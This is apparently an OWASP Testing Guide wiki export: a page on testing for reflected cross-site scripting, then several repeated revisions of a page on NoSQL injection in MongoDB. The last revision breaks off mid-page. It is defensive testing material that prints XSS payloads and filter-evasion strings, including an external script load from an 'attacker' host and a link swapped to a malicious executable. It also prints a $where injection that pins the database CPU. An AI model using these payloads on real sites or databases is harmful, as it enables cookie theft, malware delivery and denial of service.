Reflected XSS are the most frequent type of XSS attacks found in the wild.

Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also referred to as first-order or type 1 XSS.

When a web application is vulnerable to this type of attack, it will
pass unvalidated input sent through requests back to the client. The common modus
operandi of the attack includes a design step, in which the attacker
creates and tests an offending URI, a social engineering step, in which
she convinces her victims to load this URI on their browsers, and the eventual
execution of the offending code using the victim's browser.

Commonly the attacker's code is written in the Javascript language, but
other scripting languages are also used, e.g., ActionScript and VBScript.

Attackers typically leverage these vulnerabilities to
install key loggers, steal victim cookies, perform clipboard theft, and
change the content of the page (e.g., download links).

One of the primary difficulties in preventing XSS vulnerabilities is proper character encoding.
In some cases, the web server or the web application could not be filtering some
encodings of characters, so, for example, the web application might filter out "<script>",
but might not filter %3cscript%3e which simply includes another encoding of tags.

== Black Box testing and example ==
A black-box test will include at least three phases:

1. Detect input vectors. For each web page, the tester must determine all the web application's user-defined variables and how to input them. This includes hidden or non-obvious inputs such as HTTP parameters, POST data, hidden form field values, and predefined radio or selection values. Typically in-browser HTML editors or web proxies are used to view these hidden variables. See the example below.

2. Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the tester will typically use specially crafted input data with each input vector. Such input data is typically harmless, but trigger responses from the web browser that manifests the vulnerability. Testing data can be generated by using a web application fuzzer, an automated predefined list of known attack strings, or manually. <br />Some example of such input data are the following:
<pre>
<script>alert(123)</script>
</pre>
<pre>
“><script>alert(document.cookie)</script>
</pre>
For a comprehensive list of potential test strings, see the [[XSS Filter Evasion Cheat Sheet]].

3. For each test input attempted in the previous phase, the tester will analyze the result and determine if it represents a vulnerability that has a realistic impact on the web application's security. This requires examining the resulting web page HTML and searching for the test input. Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML.

Ideally all HTML special characters will be replaced with HTML entities. The key HTML entities to identify are:
<pre>
> (greater than)
< (less than)
& (ampersand)
' (apostrophe or single quote)
" (double quote)
</pre>

However, a full list of entities is defined by the HTML and XML specifications. Wikipedia has a complete reference [http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references].

Within the context of an HTML action or JavaScript code, a different set of special characters will need to be escaped, encoded, replaced, or filtered out. These characters include:
<pre>
\n (new line)
\r (carriage return)
\' (apostrophe or single quote)
\" (double quote)
\\ (backslash)
\uXXXX (unicode values)
</pre>

For a more complete reference, see the Mozilla JavaScript guide. [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Using_special_characters_in_strings]

=== Example 1 ===
For example, consider a site that has a welcome notice " Welcome %username% " and a download link.
<br><br>
[[Image:XSS Example1.png]]
<br><br>
The tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.
Let's try to click on the following link and see what happens:
<pre>http://example.com/index.php?user=<script>alert(123)</script></pre>

If no sanitization is applied this will result in the following popup:
<br><br>
[[Image:alert.png]]
<br><br>
This indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link.

=== Example 2 ===
Let's try other piece of code (link):
<pre>http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> </pre>

This produces the following behavior:
<br><br>
[[Image:XSS Example2.png]]
<br><br>
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.

== Bypass XSS filters ==
Reflected cross-site scripting attacks are prevented as the web application sanitizes input, a web
application firewall blocks malicious input, or by mechanisms embedded in modern web browsers.

The tester must test for vulnerabilities assuming that web browsers will not prevent the attack. Browsers may be out of date, or have built-in security features disabled.

Similarly, web application firewalls are not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that is unrecognized by the web application firewall.

Thus, the majority of XSS prevention must depend on the web application's sanitization of untrusted user input. There are several mechanisms available to developers for sanitization, such as returning an error, removing, encoding, or replacing invalid input. The means by which the application detects and corrects invalid input is another primary weakness in preventing XSS. A blacklist may not include all possible attack strings, a whitelist may be overly permissive, the sanitization could fail, or a type of input may be incorrectly trusted and remain unsanitized. All of these allow attackers to circumvent XSS filters.

The [[XSS Filter Evasion Cheat Sheet]] documents common filter evasion tests.

=== Example 3: Tag Attribute Value ===
<br>
Since these filters are based on a blacklist, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of <script> tags and even without the use of characters such as " < > and / that are commonly filtered.
For example, the web application could use the user input value to fill an attribute, as shown in the following code:
<pre>
<input type="text" name="state" value="INPUT_FROM_USER">
</pre>

Then an attacker could submit the following code:
<pre>
" onfocus="alert(document.cookie)
</pre>

=== Example 4: Different syntax or enconding ===
<br>
In some cases it is possible that signature-based filters can be simply defeated by obfuscating the attack. Typically you can do this through the insertion of unexpected variations in the syntax or in the enconding. These variations are tolerated by browsers as valid HTML when the code is returned, and yet they could also be accepted by the filter.
Following some examples:
<pre>
"><script >alert(document.cookie)</script >
</pre>

<pre>
"><ScRiPt>alert(document.cookie)</ScRiPt>
</pre>

<pre>
"%3cscript%3ealert(document.cookie)%3c/script%3e
</pre>

=== Example 5: Bypassing non-recursive filtering ===
<br>
Sometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string containing multiple attempts, like this one:
<pre>
<scr<script>ipt>alert(document.cookie)</script>
</pre>

=== Example 6: Including external script ===
<br>
Now suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script:
<pre>
<?
$re = "/<script[^>]+src/i";

if (preg_match($re, $_GET['var']))
{
echo "Filtered";
return;
}
echo "Welcome ".$_GET['var']." !";
?>
</pre>

In this scenario there is a regular expression checking if <b><script [anything but the character: '>' ] src</b> is inserted. This is useful for filtering expressions like
<pre>
<script src="http://attacker/xss.js"></script>
</pre>
which is a common attack. But, in this case, it is possible to bypass the sanitization by using the ">" character in an attribute between script and src, like this:
<pre>
http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>
</pre>
This will exploit the reflected cross site scripting vulnerability shown before, executing the javascript code stored on the attacker's web server as if it was
originating from the victim web site, http://example/.

=== Example 7: HTTP Parameter Pollution (HPP) ===
<br>
Another method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP
Poland conference. See the [[Testing for HTTP Parameter pollution (OWASP-DV-004)|Testing for HTTP Parameter pollution]] for more information.
This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each
parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible.
If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern-
based security mechanisms.
<br>
Regular attack:
<pre>
http://example/page.php?param=<script>[...]</script>
</pre>
Attack using HPP:
<pre>
http://example/page.php?param=<script&param=>[...]</&param=script>
</pre>

''' Result expected '''
<br>
See the [[XSS Filter Evasion Cheat Sheet]] for a more detailed list of filter evasion techniques.
Finally, analyzing answers can get complex. A simple way to do this is to use code that pops up a dialog, as in our example. This typically indicates that an attacker could execute arbitrary JavaScript of his choice in the visitors' browsers.

== Gray Box testing ==
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and how the user input is rendered back to the user might be known by the pen-tester.

If source code is available (White Box), all variables received from users should be analyzed. Moreover the tester should analyze any sanitization procedures implemented to decide if these can be circumvented.

== References ==
'''OWASP Resources'''<br>
*[[XSS Filter Evasion Cheat Sheet]]
'''Books'''<br>
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
'''Whitepapers'''<br>
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&action=view&type=publication&name=alert%28A_javascritp_agent%29 Read] ( To be published )
* '''S. Frei, T. Dübendorfer, G. Ollmann, M. May''' - Understanding the Web browser threat: [http://www.techzoom.net/publications/insecurity-iceberg/index.en Read]
'''Tools''' <br>
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]'''
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners. It's hosted as a reference at http://yehg.net/lab/pr0js/pentest/CAL9000/ .
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding [mirror: http://yehg.net/e ]
This tool helps you encode arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.
* '''HackVertor''' - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php
It provides multiple dozens of flexible encoding for advanced string manipulation attacks.
* '''[[OWASP WebScarab Project|WebScarab]]'''
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols.
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
* '''ratproxy''' - http://code.google.com/p/ratproxy/
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.
* '''Burp Proxy''' - http://portswigger.net/proxy/
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.
* '''OWASP Zed Attack Proxy (ZAP)''' - [[OWASP_Zed_Attack_Proxy_Project]]
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

Testing for NoSQL injection

2013-08-09T16:45:07Z

Ben Walther: References

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
<br>
NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. Because these NoSQL injection attacks may execute within a procedural[http://en.wikipedia.org/wiki/Procedural_programming] language , rather than in the declarative[http://en.wikipedia.org/wiki/Declarative_programming] SQL language, the potential impacts are greater than traditional SQL injection.
<br>
== Description of the Issue ==
<br>
NoSQL database calls are written in the application's programming language, a custom API call, or formatted according to a common convention (such as XML, JSON, LINQ, etc). Malicious input targeting those specifications may not trigger the primarily application sanitization checks. For example, filtering out common HTML special characters such as <code> < > & ; </code> will not prevent attacks against a JSON API, where special characters include <code> / { } : </code>.

There are now over 150 NoSQL databases available[http://nosql-database.org/] for use within an application, providing APIs in a variety of languages and relationship models. Each offers different features and restrictions. Because there is not a common language between them, example injection code will not apply across all NoSQL databases. For this reason, anyone testing for NoSQL injection attacks will need to familiarize themselves with the syntax, data model, and underlying programming language in order to craft specific tests.

NoSQL injection attacks may execute in different areas of an application than traditional SQL injection. Where SQL injection would execute within the database engine, NoSQL variants may execute during within the application layer or the database layer, depending on the NoSQL API used and data model. Typically NoSQL injection attacks will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL API call.

Additional timing attacks may be relevant to the lack of concurrency checks within a NoSQL database. These are not covered under injection testing.

At the time of writing MongoDB is the most widely used NoSQL database, and so all examples will feature MongoDB APIs.
<br>
== Black Box testing and example ==
'''Testing for NoSQL injection vulnerabilities in MongoDB:''' <br>
The MongoDB API expects BSON (Binary JSON) calls, and includes a secure BSON query assembly tool. However, according to MongoDB documentation - unserialized JSON and JavaScript expressions are permitted in several alternative query parameters.[http://docs.mongodb.org/manual/faq/developers/#javascript] The most commonly used API call allowing arbitrary JavaScript input is the $where operator.

The MongoDB $where operator typically is used as a simple filter or check, as it is within SQL.

<code> db.myCollection.find( { $where: "this.credits == this.debits" } ); </code>

Optionally JavaScript is also evaluated to allow more advanced conditions.

<code> db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } ); </code>

===Example 1===

If an attacker were able to manipulate the data passed into the $where operator, that attacker could include arbitrary JavaScript to be evaluated as part of the MongoDB query. An example vulnerability is exposed in the following code, if user input is passed directly into the MongoDB query without sanitization.

<code>db.myCollection.find( { active: true, $where: function() { return obj.credits - obj.debits < $userInput; } } );;</code>

As with testing other types of injection, one does not need to fully exploit the vulnerability to demonstrate a problem. By injecting special characters relevant to the target API language, and observing the results, a tester can determine if the application correctly sanitized the input. For example within MongoDB, if a string containing any of the following special characters were passed unsanitized, it would trigger a database error.

<code>' " \ ; { }</code>

With normal SQL injection, a similar vulnerability would allow an attacker to execute arbitrary SQL commands - exposing or manipulating data at will. However, because JavaScript is a fully featured language, not only does this allow an attacker to manipulate data, but also to run arbitrary code. For example, instead of just causing an error when testing, a full exploit would use the special characters to craft valid JavaScript.

This input <code>0;var date=new Date(); do{curDate = new Date();}while(curDate-date<10000)</code> inserted into $userInput in the above example code would result in the following JavaScript function being executed. This specific attack string would case the entire MongoDB instance to execute at 100% CPU usage for 10 second.

<code>function() { return obj.credits - obj.debits < 0;var date=new Date(); do{curDate = new Date();}while(curDate-date<10000); }</code>

===Example 2===

Even if the input used within queries is completely sanitized or parameterized, there is an alternate path in which one might trigger NoSQL injection. Many NoSQL instances have their own reserved variable names, independent of the application programming language.

For example within MongoDB, the <code>$where</code> syntax itself is a reserved query operator. It needs to be passed into the query exactly as shown; any alteration would cause a database error. However, because <code>$where</code> is also a valid PHP variable name, it may be possible for an attacker to insert code into the query by creating a PHP variable named <code>$where</code>. The PHP MongoDB documentation explicitly warns developers: <pre>Please make sure that for all special query operators (starting with $) you use single quotes so that PHP doesn't try to replace "$exists" with the value of the variable $exists.</pre>

Even if a query depended on no user input, such as the following example, an attacker could exploit MongoDB by replacing the operator with malicious data.

<code> db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } ); </code>

One way to potentially assign data to PHP variables is via HTTP Parameter Pollution (see: [[Testing_for_HTTP_Parameter_pollution_(OWASP-DV-004)]]). By creating a variable named <code>$where</code> via parameter pollution, one could trigger a MongoDB error indicating that the query is no longer valid. Any value of <code>$where</code> other than the string "$where" itself, should suffice to demonstrate vulnerability. An attacker would develop a full exploit by inserting the following: <code>"$where: function() { //arbitrary JavaScript here }"</code>

<br>
== References ==
'''Whitepapers'''<br>
Bryan Sullivan from Adobe: "Server-Side JavaScript Injection" - https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf

Bryan Sullivan from Adobe: "NoSQL, But Even Less Security" - http://blogs.adobe.com/asset/files/2011/04/NoSQL-But-Even-Less-Security.pdf

Erlend from Brekk Consulting: "[Security] NOSQL-injection" - http://erlend.oftedal.no/blog/?blogid=110

Felipe Aragon from Syhunt: "NoSQL/SSJS Injection" - http://www.syhunt.com/?n=Articles.NoSQLInjection

MongoDB Documentation: "How does MongoDB address SQL or Query injection?" - http://docs.mongodb.org/manual/faq/developers/#how-does-mongodb-address-sql-or-query-injection

PHP Documentation: "MongoCollection::find" - http://php.net/manual/en/mongocollection.find.php

Testing for NoSQL injection

2013-08-09T16:39:30Z

Ben Walther: Removed Tools section. No particular tools relevant.

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
<br>
NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. Because these NoSQL injection attacks may execute within a procedural[http://en.wikipedia.org/wiki/Procedural_programming] language , rather than in the declarative[http://en.wikipedia.org/wiki/Declarative_programming] SQL language, the potential impacts are greater than traditional SQL injection.
<br>
== Description of the Issue ==
<br>
NoSQL database calls are written in the application's programming language, a custom API call, or formatted according to a common convention (such as XML, JSON, LINQ, etc). Malicious input targeting those specifications may not trigger the primarily application sanitization checks. For example, filtering out common HTML special characters such as <code> < > & ; </code> will not prevent attacks against a JSON API, where special characters include <code> / { } : </code>.

There are now over 150 NoSQL databases available[http://nosql-database.org/] for use within an application, providing APIs in a variety of languages and relationship models. Each offers different features and restrictions. Because there is not a common language between them, example injection code will not apply across all NoSQL databases. For this reason, anyone testing for NoSQL injection attacks will need to familiarize themselves with the syntax, data model, and underlying programming language in order to craft specific tests.

NoSQL injection attacks may execute in different areas of an application than traditional SQL injection. Where SQL injection would execute within the database engine, NoSQL variants may execute during within the application layer or the database layer, depending on the NoSQL API used and data model. Typically NoSQL injection attacks will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL API call.

Additional timing attacks may be relevant to the lack of concurrency checks within a NoSQL database. These are not covered under injection testing.

At the time of writing MongoDB is the most widely used NoSQL database, and so all examples will feature MongoDB APIs.
<br>
== Black Box testing and example ==
'''Testing for NoSQL injection vulnerabilities in MongoDB:''' <br>
The MongoDB API expects BSON (Binary JSON) calls, and includes a secure BSON query assembly tool. However, according to MongoDB documentation - unserialized JSON and JavaScript expressions are permitted in several alternative query parameters.[http://docs.mongodb.org/manual/faq/developers/#javascript] The most commonly used API call allowing arbitrary JavaScript input is the $where operator.

The MongoDB $where operator typically is used as a simple filter or check, as it is within SQL.

<code> db.myCollection.find( { $where: "this.credits == this.debits" } ); </code>

Optionally JavaScript is also evaluated to allow more advanced conditions.

<code> db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } ); </code>

===Example 1===

If an attacker were able to manipulate the data passed into the $where operator, that attacker could include arbitrary JavaScript to be evaluated as part of the MongoDB query. An example vulnerability is exposed in the following code, if user input is passed directly into the MongoDB query without sanitization.

<code>db.myCollection.find( { active: true, $where: function() { return obj.credits - obj.debits < $userInput; } } );;</code>

As with testing other types of injection, one does not need to fully exploit the vulnerability to demonstrate a problem. By injecting special characters relevant to the target API language, and observing the results, a tester can determine if the application correctly sanitized the input. For example within MongoDB, if a string containing any of the following special characters were passed unsanitized, it would trigger a database error.

<code>' " \ ; { }</code>

With normal SQL injection, a similar vulnerability would allow an attacker to execute arbitrary SQL commands - exposing or manipulating data at will. However, because JavaScript is a fully featured language, not only does this allow an attacker to manipulate data, but also to run arbitrary code. For example, instead of just causing an error when testing, a full exploit would use the special characters to craft valid JavaScript.

This input <code>0;var date=new Date(); do{curDate = new Date();}while(curDate-date<10000)</code> inserted into $userInput in the above example code would result in the following JavaScript function being executed. This specific attack string would case the entire MongoDB instance to execute at 100% CPU usage for 10 second.

<code>function() { return obj.credits - obj.debits < 0;var date=new Date(); do{curDate = new Date();}while(curDate-date<10000); }</code>

===Example 2===

Even if the input used within queries is completely sanitized or parameterized, there is an alternate path in which one might trigger NoSQL injection. Many NoSQL instances have their own reserved variable names, independent of the application programming language.

For example within MongoDB, the <code>$where</code> syntax itself is a reserved query operator. It needs to be passed into the query exactly as shown; any alteration would cause a database error. However, because <code>$where</code> is also a valid PHP variable name, it may be possible for an attacker to insert code into the query by creating a PHP variable named <code>$where</code>. The PHP MongoDB documentation explicitly warns developers: <pre>Please make sure that for all special query operators (starting with $) you use single quotes so that PHP doesn't try to replace "$exists" with the value of the variable $exists.</pre>

Even if a query depended on no user input, such as the following example, an attacker could exploit MongoDB by replacing the operator with malicious data.

<code> db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } ); </code>

One way to potentially assign data to PHP variables is via HTTP Parameter Pollution (see: [[Testing_for_HTTP_Parameter_pollution_(OWASP-DV-004)]]). By creating a variable named <code>$where</code> via parameter pollution, one could trigger a MongoDB error indicating that the query is no longer valid. Any value of <code>$where</code> other than the string "$where" itself, should suffice to demonstrate vulnerability. An attacker would develop a full exploit by inserting the following: <code>"$where: function() { //arbitrary JavaScript here }"</code>

<br>
== References ==
'''Whitepapers'''<br>
http://blogs.adobe.com/asset/files/2011/04/NoSQL-But-Even-Less-Security.pdf

http://erlend.oftedal.no/blog/?blogid=110

http://www.syhunt.com/?n=Articles.NoSQLInjection

https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf

http://docs.mongodb.org/manual/faq/developers/#how-does-mongodb-address-sql-or-query-injection

http://php.net/manual/en/mongocollection.find.php
...<br>

Testing for NoSQL injection

2013-08-09T16:37:55Z

Ben Walther: Examples

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
<br>
NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. Because these NoSQL injection attacks may execute within a procedural[http://en.wikipedia.org/wiki/Procedural_programming] language , rather than in the declarative[http://en.wikipedia.org/wiki/Declarative_programming] SQL language, the potential impacts are greater than traditional SQL injection.
<br>
== Description of the Issue ==
<br>
NoSQL database calls are written in the application's programming language, a custom API call, or formatted according to a common convention (such as XML, JSON, LINQ, etc). Malicious input targeting those specifications may not trigger the primarily application sanitization checks. For example, filtering out common HTML special characters such as <code> < > & ; </code> will not prevent attacks against a JSON API, where special characters include <code> / { } : </code>.

There are now over 150 NoSQL databases available[http://nosql-database.org/] for use within an application, providing APIs in a variety of languages and relationship models. Each offers different features and restrictions. Because there is not a common language between them, example injection code will not apply across all NoSQL databases. For this reason, anyone testing for NoSQL injection attacks will need to familiarize themselves with the syntax, data model, and underlying programming language in order to craft specific tests.

NoSQL injection attacks may execute in different areas of an application than traditional SQL injection. Where SQL injection would execute within the database engine, NoSQL variants may execute during within the application layer or the database layer, depending on the NoSQL API used and data model. Typically NoSQL injection attacks will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL API call.

Additional timing attacks may be relevant to the lack of concurrency checks within a NoSQL database. These are not covered under injection testing.

At the time of writing MongoDB is the most widely used NoSQL database, and so all examples will feature MongoDB APIs.
<br>
== Black Box testing and example ==
'''Testing for NoSQL injection vulnerabilities in MongoDB:''' <br>
The MongoDB API expects BSON (Binary JSON) calls, and includes a secure BSON query assembly tool. However, according to MongoDB documentation - unserialized JSON and JavaScript expressions are permitted in several alternative query parameters.[http://docs.mongodb.org/manual/faq/developers/#javascript] The most commonly used API call allowing arbitrary JavaScript input is the $where operator.

The MongoDB $where operator typically is used as a simple filter or check, as it is within SQL.

<code> db.myCollection.find( { $where: "this.credits == this.debits" } ); </code>

Optionally JavaScript is also evaluated to allow more advanced conditions.

<code> db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } ); </code>

===Example 1===

If an attacker were able to manipulate the data passed into the $where operator, that attacker could include arbitrary JavaScript to be evaluated as part of the MongoDB query. An example vulnerability is exposed in the following code, if user input is passed directly into the MongoDB query without sanitization.

<code>db.myCollection.find( { active: true, $where: function() { return obj.credits - obj.debits < $userInput; } } );;</code>

As with testing other types of injection, one does not need to fully exploit the vulnerability to demonstrate a problem. By injecting special characters relevant to the target API language, and observing the results, a tester can determine if the application correctly sanitized the input. For example within MongoDB, if a string containing any of the following special characters were passed unsanitized, it would trigger a database error.

<code>' " \ ; { }</code>

With normal SQL injection, a similar vulnerability would allow an attacker to execute arbitrary SQL commands - exposing or manipulating data at will. However, because JavaScript is a fully featured language, not only does this allow an attacker to manipulate data, but also to run arbitrary code. For example, instead of just causing an error when testing, a full exploit would use the special characters to craft valid JavaScript.

This input <code>0;var date=new Date(); do{curDate = new Date();}while(curDate-date<10000)</code> inserted into $userInput in the above example code would result in the following JavaScript function being executed. This specific attack string would case the entire MongoDB instance to execute at 100% CPU usage for 10 second.

<code>function() { return obj.credits - obj.debits < 0;var date=new Date(); do{curDate = new Date();}while(curDate-date<10000); }</code>

===Example 2===

Even if the input used within queries is completely sanitized or parameterized, there is an alternate path in which one might trigger NoSQL injection. Many NoSQL instances have their own reserved variable names, independent of the application programming language.

For example within MongoDB, the <code>$where</code> syntax itself is a reserved query operator. It needs to be passed into the query exactly as shown; any alteration would cause a database error. However, because <code>$where</code> is also a valid PHP variable name, it may be possible for an attacker to insert code into the query by creating a PHP variable named <code>$where</code>. The PHP MongoDB documentation explicitly warns developers: <pre>Please make sure that for all special query operators (starting with $) you use single quotes so that PHP doesn't try to replace "$exists" with the value of the variable $exists.</pre>

Even if a query depended on no user input, such as the following example, an attacker could exploit MongoDB by replacing the operator with malicious data.

<code> db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } ); </code>

One way to potentially assign data to PHP variables is via HTTP Parameter Pollution (see: [[Testing_for_HTTP_Parameter_pollution_(OWASP-DV-004)]]). By creating a variable named <code>$where</code> via parameter pollution, one could trigger a MongoDB error indicating that the query is no longer valid. Any value of <code>$where</code> other than the string "$where" itself, should suffice to demonstrate vulnerability. An attacker would develop a full exploit by inserting the following: <code>"$where: function() { //arbitrary JavaScript here }"</code>

<br>
== References ==
'''Whitepapers'''<br>
http://blogs.adobe.com/asset/files/2011/04/NoSQL-But-Even-Less-Security.pdf

http://erlend.oftedal.no/blog/?blogid=110

http://www.syhunt.com/?n=Articles.NoSQLInjection

https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf

http://docs.mongodb.org/manual/faq/developers/#how-does-mongodb-address-sql-or-query-injection

http://php.net/manual/en/mongocollection.find.php
...<br>
'''Tools'''<br>
...<br>

Testing for NoSQL injection

2013-08-09T16:33:09Z

Ben Walther:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
<br>
NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. Because these NoSQL injection attacks may execute within a procedural[http://en.wikipedia.org/wiki/Procedural_programming] language , rather than in the declarative[http://en.wikipedia.org/wiki/Declarative_programming] SQL language, the potential impacts are greater than traditional SQL injection.
<br>
== Description of the Issue ==
<br>
NoSQL database calls are written in the application's programming language, a custom API call, or formatted according to a common convention (such as XML, JSON, LINQ, etc). Malicious input targeting those specifications may not trigger the primarily application sanitization checks. For example, filtering out common HTML special characters such as <code> < > & ; </code> will not prevent attacks against a JSON API, where special characters include <code> / { } : </code>.

There are now over 150 NoSQL databases available[http://nosql-database.org/] for use within an application, providing APIs in a variety of languages and relationship models. Each offers different features and restrictions. Because there is not a common language between them, example injection code will not apply across all NoSQL databases. For this reason, anyone testing for NoSQL injection attacks will need to familiarize themselves with the syntax, data model, and underlying programming language in order to craft specific tests.

NoSQL injection attacks may execute in different areas of an application than traditional SQL injection. Where SQL injection would execute within the database engine, NoSQL variants may execute during within the application layer or the database layer, depending on the NoSQL API used and data model. Typically NoSQL injection attacks will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL API call.

Additional timing attacks may be relevant to the lack of concurrency checks within a NoSQL database. These are not covered under injection testing.

At the time of writing MongoDB is the most widely used NoSQL database, and so all examples will feature MongoDB APIs.
<br>
== Black Box testing and example ==
'''Testing for NoSQL injection vulnerabilities in MongoDB:''' <br>
The MongoDB API expects BSON (Binary JSON) calls, and includes a secure BSON query assembly tool. However, according to MongoDB documentation - unserialized JSON and JavaScript expressions are permitted in several alternative query parameters.[http://docs.mongodb.org/manual/faq/developers/#javascript] The most commonly used API call allowing arbitrary JavaScript input is the $where operator.

The MongoDB $where operator typically is used as a simple filter or check, as it is within SQL.

<code> db.myCollection.find( { $where: "this.credits == this.debits" } ); </code>

Optionally JavaScript is also evaluated to allow more advanced conditions.

<code> db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } ); </code>

===Example 1===

If an attacker were able to manipulate the data passed into the $where operator, that attacker could include arbitrary JavaScript to be evaluated as part of the MongoDB query. An example vulnerability is exposed in the following code, if user input is passed directly into the MongoDB query without sanitization.

<code>db.myCollection.find( { active: true, $where: function() { return obj.credits - obj.debits < $userInput; } } );;</code>

As with testing other types of injection, one does not need to fully exploit the vulnerability to demonstrate a problem. By injecting special characters relevant to the target API language, and observing the results, a tester can determine if the application correctly sanitized the input. For example within MongoDB, if a string containing any of the following special characters were passed unsanitized, it would trigger a database error.

<code>' " \ ; { }</code>

With normal SQL injection, a similar vulnerability would allow an attacker to execute arbitrary SQL commands - exposing or manipulating data at will. However, because JavaScript is a fully featured language, not only does this allow an attacker to manipulate data, but also to run arbitrary code. For example, instead of just causing an error when testing, a full exploit would use the special characters to craft valid JavaScript.

This input <code>0;var date=new Date(); do{curDate = new Date();}while(curDate-date<10000)</code> inserted into $userInput in the above example code would result in the following JavaScript function being executed. This specific attack string would case the entire MongoDB instance to execute at 100% CPU usage for 10 second.

<code>function() { return obj.credits - obj.debits < 0;var date=new Date(); do{curDate = new Date();}while(curDate-date<10000); }</code>

===Example 2===

Even if the input used within queries is completely sanitized or parameterized, there is an alternate path in which one might trigger NoSQL injection. Many NoSQL instances have their own reserved variable names, independent of the application programming language.

For example within MongoDB, the <code>$where</code> syntax itself is a reserved query operator. It needs to be passed into the query exactly as shown; any alteration would cause a database error. However, because <code>$where</code> is also a valid PHP variable name, it may be possible for an attacker to insert code into the query by creating a PHP variable named <code>$where</code>. The PHP MongoDB documentation explicitly warns developers: <pre>Please make sure that for all special query operators (starting with $) you use single quotes so that PHP doesn't try to replace "$exists" with the value of the variable $exists.</pre>

